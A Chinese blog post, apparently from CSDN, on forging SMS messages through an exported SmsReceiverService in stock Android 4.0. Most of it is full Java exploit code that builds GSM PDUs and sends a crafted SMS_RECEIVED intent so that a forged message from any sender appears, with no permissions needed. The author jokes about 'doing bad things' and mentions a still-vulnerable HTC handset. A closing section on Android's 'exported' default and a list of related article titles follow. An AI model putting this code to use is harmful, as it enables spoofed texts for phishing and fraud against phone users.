导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

<service android:name=".transaction.SmsReceiverService"android:exported="true" />

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;// 时间处理,包括年月日时分秒以及时区和夏令时byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = SmsUtil.reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = SmsUtil.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);// 短信服务中心长度bo.write(scBytes);// 短信服务中心号码bo.write(0x04);bo.write((byte) sender.length());// 发送方号码长度bo.write(senderBytes);// 发送方号码bo.write(0x00);// 协议标示,00为普通GSM,点对点方式try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class<?> cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);bo.write(bodybytes);} catch (Exception e) {Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);// 下面是UCS-2编码的处理,中文短信就需要用此种方式bo.write(0x08); // encoding: 8 for UCS-2bo.write(dateBytes);bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的// 源码具体位置在// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java}pdu = bo.toByteArray();} catch (IOException e) {Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);}// 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!Intent intent = new Intent();intent.setClassName("com.android.mms","com.android.mms.transaction.SmsReceiverService");intent.setAction("android.provider.Telephony.SMS_RECEIVED");intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.startService(intent);
}public static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

// User Data (and length)
byte[] userData;
try {if (encoding == ENCODING_7BIT) {userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,languageTable, languageShiftTable);} else { //assume UCS-2try {userData = encodeUCS2(message, header);} catch(UnsupportedEncodingException uex) {Log.e(LOG_TAG,"Implausible UnsupportedEncodingException ",uex);return null;}}
} catch (EncodeException ex) {// Encoding to the 7-bit alphabet failed. Let's see if we can// send it as a UCS-2 encoded messagetry {userData = encodeUCS2(message, header);encoding = ENCODING_16BIT;} catch(UnsupportedEncodingException uex) {Log.e(LOG_TAG,"Implausible UnsupportedEncodingException ",uex);return null;}
}

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码

下面附上encodeUCS2代码

/*** Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if* necessary* * @return* @throws UnsupportedEncodingException*/
public static byte[] encodeUCS2(String message, byte[] header)throws UnsupportedEncodingException {byte[] userData, textPart;textPart = message.getBytes("utf-16be");if (header != null) {// Need 1 byte for UDHLuserData = new byte[header.length + textPart.length + 1];userData[0] = (byte) header.length;System.arraycopy(header, 0, userData, 1, header.length);System.arraycopy(textPart, 0, userData, header.length + 1,textPart.length);} else {userData = textPart;}byte[] ret = new byte[userData.length + 1];ret[0] = (byte) (userData.length & 0xff);System.arraycopy(userData, 0, ret, 1, userData.length);return ret;
}

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……


另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProviderreducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

android安全问题(八)伪造短信(利用原生android4.0漏洞)相关推荐

  1. android安全漏洞(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  2. android 无权限 伪造短信

    代码实现 package com.smstrick; import java.io.ByteArrayOutputStream;import java.io.IOException;import ja ...

  3. Android 伪造短信

    //伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu ...

  4. android 发送短信 广播 demo,向Android模拟器打电话发短信的简单方法

    在开发android应用程序时,有时候需要测试一下向android手机拨打电话发送短信时该应用程序的反应.譬如编写一个广播接收器,来提示用户有短信收到或者处理短信,就需要向该手机发送短信来进行测试.这 ...

  5. Android 接收和收发短信

    收发短信应该是每个手机最基本的功能之一了,即使是许多年前的老手机也都会具备这项功能,而Android作为出色的智能手机操作系统,自然也少不了在这方面的支持.每个Android手机都会内置一个短信应用程 ...

  6. Android实时监听短信并上传服务器

    短信监听 Android监听手机短信的方法有两种,分别为: 1.接受系统的短信广播:当手机收到新消息时,会发送一条广播,通过该广播就可以获取短信内容: 2.监听短信数据库:利用观察者模式监听短信数据库 ...

  7. android虚拟机接收真实短信,向Android模拟器打电话发短信的简单方法

    在开发android应用程序时,有时候需要测试一下向android手机拨打电话发送短信时该应用程序的反应.譬如编写一个广播接收器,来提示用户有短信收到或者处理短信,就需要向该手机发送短信来进行测试.这 ...

  8. 向Android模拟器打电话发短信的简单方法

    在开发android应用程序时,有时候需要测试一下向android手机拨打电话发送短信时该应用程序的反应.譬如编写一个广播接收器,来提示用户有短信收到或者处理短信,就需要向该手机发送短信来进行测试.这 ...

  9. Android实现第三方Mob短信验证登录以及手机号显示和修改用户名(简易新闻 五)

    Android实现第三方Mob短信验证登录以及手机号显示和修改用户名(简易新闻 五) 关于之前的功能实现可以从制作简易新闻App导航篇中查看 因为这篇是写了有一段时间的博客,所以这篇(包括后面的简易新 ...

最新文章

  1. mac 配置apache 服务器 实现手机pc 端局域网传输
  2. MYSQL批量按条件更新不同的数据
  3. numpy.tile 阵列
  4. 最大隶属度原则_首款骁龙888旗舰亮相?Realme新品,这外观很有辨识度
  5. [react-native]-ReactNative为iOS打包ipa文件
  6. Serverless 如何落地?揭秘阿里核心业务大规模落地实现
  7. Prometheus和Grafana的监控Linux服务器和MYSQL数据库
  8. 起点事件折射出网络文学产业化困境
  9. 【云计算学习教程】云计算的优势和劣势(优点和缺点)分析
  10. python+selenium 定位元素踩过的坑
  11. 网站设计之常见简单实用的JavaScript特效总结(上篇)
  12. html 京东购物车样式,购物车css样式效果
  13. Java-编辑图片,添加文字
  14. 可变悬挂调节软硬_可变悬架软硬怎么调节高度
  15. 14.[保护模式]TSS任务段
  16. chrome绿色版制作方法
  17. [LINUX]手动清理syslog
  18. 基于MQTT协议的WZ指令开发V3.0版本支持onenet
  19. 剑指Offer——顺时针遍历矩阵
  20. Linux(Centos7)无法读取ntfs的U盘及ntfs-3g安装

热门文章

  1. Ax、Bx、Cx、Dx、AL、BL、CL、DL、AH、BH、CH、DH
  2. linux下载安装tree命令
  3. 如何卸载Oracle 10g
  4. Mysql :Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
  5. Backtrack5 搭建Nessus
  6. c# 向Excel文件写入数据(Workbook 和Worksheet )
  7. laravel 使用workerman加速应用
  8. Excel VBA:设置单元格边框
  9. Reactor模式!
  10. XXE漏洞介绍及利用